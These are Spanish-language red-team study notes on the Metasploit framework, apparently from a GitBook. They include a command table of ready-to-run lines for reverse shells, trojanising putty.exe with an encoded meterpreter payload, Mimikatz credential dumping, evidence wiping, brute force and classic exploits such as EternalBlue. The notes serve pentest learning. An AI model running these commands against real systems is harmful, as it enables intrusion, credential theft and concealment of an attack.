> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/apuntes/red-team/tools/metasploit.md). # Metasploit
## Introducción No es una herramienta como tal, es un framework, es decir, un conjunto de herramientas, que nos permite realizar el proceso de explotación de manera sencilla. *Se instala por defecto en -> `/usr/share/metasploit-framework`* Dentro de este directorio tienes `modules`, `plugins`, `scripts`, `db`, `tools` y más. Dentro de `modules` en `exploits` tenemos un montón de programas escritos en Ruby, lenguaje que usa Metasploit, que aprovechan diferentes vulnerabilidades. Dentro de `modules` en `payloads` hay otras 3 carpetas * `singles` (son payloads autocontenidos, no necesitan ni siquiera de metasploit para, por ejemplo, recibir una conexión) * `stagers` (payloads pequeños que establecen una conexión con una maquina y devuelven una reversa para después descargan o aprovechan uno de los payloads de "stages" para realizar alguna acción) * `stages` (hacen acciones mucho más avanzadas, uno de los más conocidos es "meterpreter.rb", pero hay muchos más) ## Básicos * La interfaz de consola de metasploit ```bash msfconsole ``` * Con el comando `help` te aparecen todas las opciones, nos centramos en "Core Commands" * Con `connect` es el símil de nc (*netcat, herramienta utilizada para establecer una conexion TCP entre un nodo de la red y otro*) pero de metasploit. ```bash connect ``` * Con `search` busca exploits. ```bash search ``` ```bash search cve:2024-6387 ``` * Para usar el exploit usamos `use "exploit"`, con `back` sales. ```bash use "exploit" ``` * Con `show options` vemos las opciones imprescindibles que hay que poner en el exploit, pero con "show advanced" muestra todas las opciones del exploit. ```bash show options ``` ``` show advanced ``` * Con `set` establecemos cosas. ``` set ``` * Con `show payloads` muestra los payloads que puedes poner en el exploit. ```bash show payloads ``` * Importante seleccionar un payload (set), si no, no hace nada. * Con `exploit` lo ejecutas. ```bash exploit ``` ### Integración con Nessus * Se escanea con Nessus de forma normal y se importa en Metasploit con `db_import`. * Con `hosts` te muestra los host almacenados en la base de datos de metasploit. * Con `vulns` mustra las vulnerabilidades que ha encontrado Nessus. * Con `services` lista los servicios abiertos. ### Meterpreter ```bash use exploit /multi/handler ``` Una vez conectado con meterpreter puedes hacer uso de los módulos de Metasploit. Con el comando help ves muchas cosas que puedes hacer con Meterpreter. ## Msfvenom * Con `info` dentro de un exploit te da toda la información relativa al exploit que estés usando. * Si el exploit es de "Rank: Manual" es posible que haya que editarlo. ### Introduccion * Es un generador de payloads de metasploit. * Se entra poniendo `msfvenom`. ```bash msfvenom ``` * Los payloads se encuentran en -> /usr/share/metasploit-framework/modules/payloads * Se usa `msfvenom -p` ruta del payload que queremos editar y usar `lhost="Ip de escucha"` `lport="puerto de escucha"` ```bash msfvenom -p "ruta del payload" lhost="Ip de escucha" lport="puerto de escucha" ``` * Los payloads se pueden añadir a los exploits que encuentres por internet. * Para recibir un meterpreter (una consola mejor) es mejor usar el exploit de metasploit -> `exploit/multi/handler`, hay que ponerle el payload generado con msfvenom. * Con `-f` le dices el formato que quieres que tenga y `> nombre.loquesea` creas el fichero con el payload. `multi/handler` *sirve para ponerse a la escucha, importante poner el mismo payload que vas a usar.* ### Backdoors en binarios Es hacer que un programa legitimo nos devuelva una reverse shell al ejecutarse. Como ejemplo se usara Putty: #### Creación del archivo: ```bash msfvenom -a x86 --plataform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=IP lport=PORT -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX,exe ``` `-a` -> Indica la plataforma donde se va a ejecutar `--plataform` -> Indica el SO `-x` -> El nombre del ejecutable `-p` -> Payload que se va a utilizar `lhost` -> Ip de escucha `lport` -> Puerto de escucha `-e` -> Para codificar `-i` -> Buretas de codificación `-b` -> Omitir caracteres `-f` -> formato del output `-o` -> nombre del output #### Migrar este proceso: Esto es para que no se cierre la sesión cuando se cierre el programa. En meterpreter: ``` run post/windows/manage/migrate ``` ### Crear Payload de meterprete - Python Crear payload de meterprete para ejecutar con Python: ```bash msfvenom -p python/meterpreter/reverse_tcp lhost=ip lport=puerto ``` Importante a la hora de introducir el payload generado, sustituir las `'` por `\'`, para que no interfiera con la sintaxis de Python, además de añadir: ```python f'python -c "payload"' ``` ### Metasploit - Post Esplotacion Una vez dentro de la maquina objetivo, podemos hacer uso de los modulos de post explotacion de Metasploit, la ruta por defecto de estos modulos es: ``` /usr/share/metasploit-framework/modules/post ``` Para usar estos modulos es recomendable hacer uso de [Meterpreter](broken://spaces/u3G3psQGdtG1usxegAVL/pages/CEEyR35zTcfaKadQuwLe), y se ejecutan asi: ``` run explit en cuestion ``` Recomendador de exploits: ```bash use post/multi/recon/local_exploit_suggester ``` #### UAC Bypass Es el cuadradito de darle a si cuando ejecutas algo como admin. Básicamente es editar la rama del registro de Windows con un binario que se ejecuta como administrador, a la que como usuario tenemos acceso y podemos editar, para que cargue lo que quieras, por ejemplo, una PowerShell, al ser un binario auto elevado, ejecuta la PowerShell con privilegios de administrador. Con Meterpreter hay modulos para explotar esto. #### Volcado de memoria con Mimikatz Este programa nos permite extraer: contraseñas, PIN code, hash, kerberos tickets de la memoria en Windows. Muchos antivirus lo detectan!!!! Con una sesión de Meterpreter podemos hacer uso del módulo `kiwi`: ```bash help kiwi ``` Con este comando se ven todas las opciones que hay, consultar GitHub para más info. ## Borrado para Windows Con el meterpreter normal de metasploit hacemos uso de uno de sus módulos, encargado de eliminar evidencias en Windows, sobrescribe el fichero: ```bash run post/windows/manage/sdel FILE=C:\\user\\User\\Desktop\\Prueba.tx ``` ## Ampliación de Comandos
No.CommandExplanation
1metasploitLaunch the Metasploit framework
for exploit development and
execution.
2msfconsoleOpen the Metasploit console
interface.
3msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe		Generate a Metasploit payload
4msfconsole -r script.rcRun Metasploit commands from a
script file.
5msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue;
set RHOST 192.168.1.1; exploit"		Exploit EternalBlue vulnerability.
6msfconsole -x "use exploit/multi/handler; set PAYLOAD
windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set
LPORT 4444; exploit"		Setup and run a multi-handler for
reverse TCP payloads.
7msfconsole -x "use exploit/windows/smb/psexec; set RHOST
192.168.1.1; set SMBUser user; set SMBPass pass; exploit"		Exploit SMB with psexec
8msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS
192.168.1.0/24; set THREADS 10; run"		TCP port scan using Metasploit.
9msfconsole -x "use auxiliary/scanner/http/http_version; set
RHOSTS 192.168.1.0/24; run"		Scan all ports (1-65535) instead of just
default ports.Scan HTTP versions on a network.
10msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS
192.168.1.0/24; set USER_FILE /path/to/users.txt; set PASS_FILE
/path/to/passwords.txt; run"		Brute-force FTP login
11msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS
192.168.1.0/24; set USER_FILE /path/to/users.txt; set PASS_FILE
/path/to/passwords.txt; run"		Brute-force SSH login.
12msfconsole -x "use auxiliary/scanner/smb/smb_version; set
RHOSTS 192.168.1.0/24; run"		Scan SMB versions on a network.
13msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set
RHOSTS 192.168.1.0/24; run"		Enumerate SMB shares on a
network.
14msfconsole -x "use auxiliary/scanner/smb/smb_enumusers; set
RHOSTS 192.168.1.0/24; run"		Enumerate SMB users on a
network.
15msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS
192.168.1.0/24; run"		Scan for RDP services on a
network.
16msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set
RHOST 192.168.1.1; exploit"		Exploit MS08-067 vulnerability.
17msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set
RHOST 192.168.1.1; exploit"		Exploit vsftpd 2.3.4 backdoor.
18msfconsole -x "use exploit/windows/dcerpc/ms03_026_dcom; set
RHOST 192.168.1.1; exploit"		Exploit MS03-026 vulnerability.
19msfconsole -x "use exploit/windows/smb/psexec; set RHOST
192.168.1.1; set SMBUser user; set SMBPass pass; exploit		Execute commands on Windows
via SMB and psexec.
20msfconsole -x "use
exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST
192.168.1.1; exploit"		Exploit Shellshock vulnerability.
21msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue;
set RHOST 192.168.1.1; exploit"		Exploit EternalBlue vulnerability
22msfconsole -x "use exploit/multi/http/struts2_content_type_ognl;
set RHOST 192.168.1.1; exploit"		Exploit Struts2 Content-Type
OGNL injection.
23msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2;
set RHOST 192.168.1.1; exploit"		Exploit Drupalgeddon2
vulnerability.
24msfconsole -x "use exploit/multi/php/php_cgi_arg_injection; set
RHOST 192.168.1.1; exploit"		Exploit PHP CGI Argument
Injection.
25msfconsole -x "use
exploit/windows/browser/ms14_064_ole_code_execution; set
RHOST 192.168.1.1; exploit"		Exploit MS14-064 OLE Code
Execution.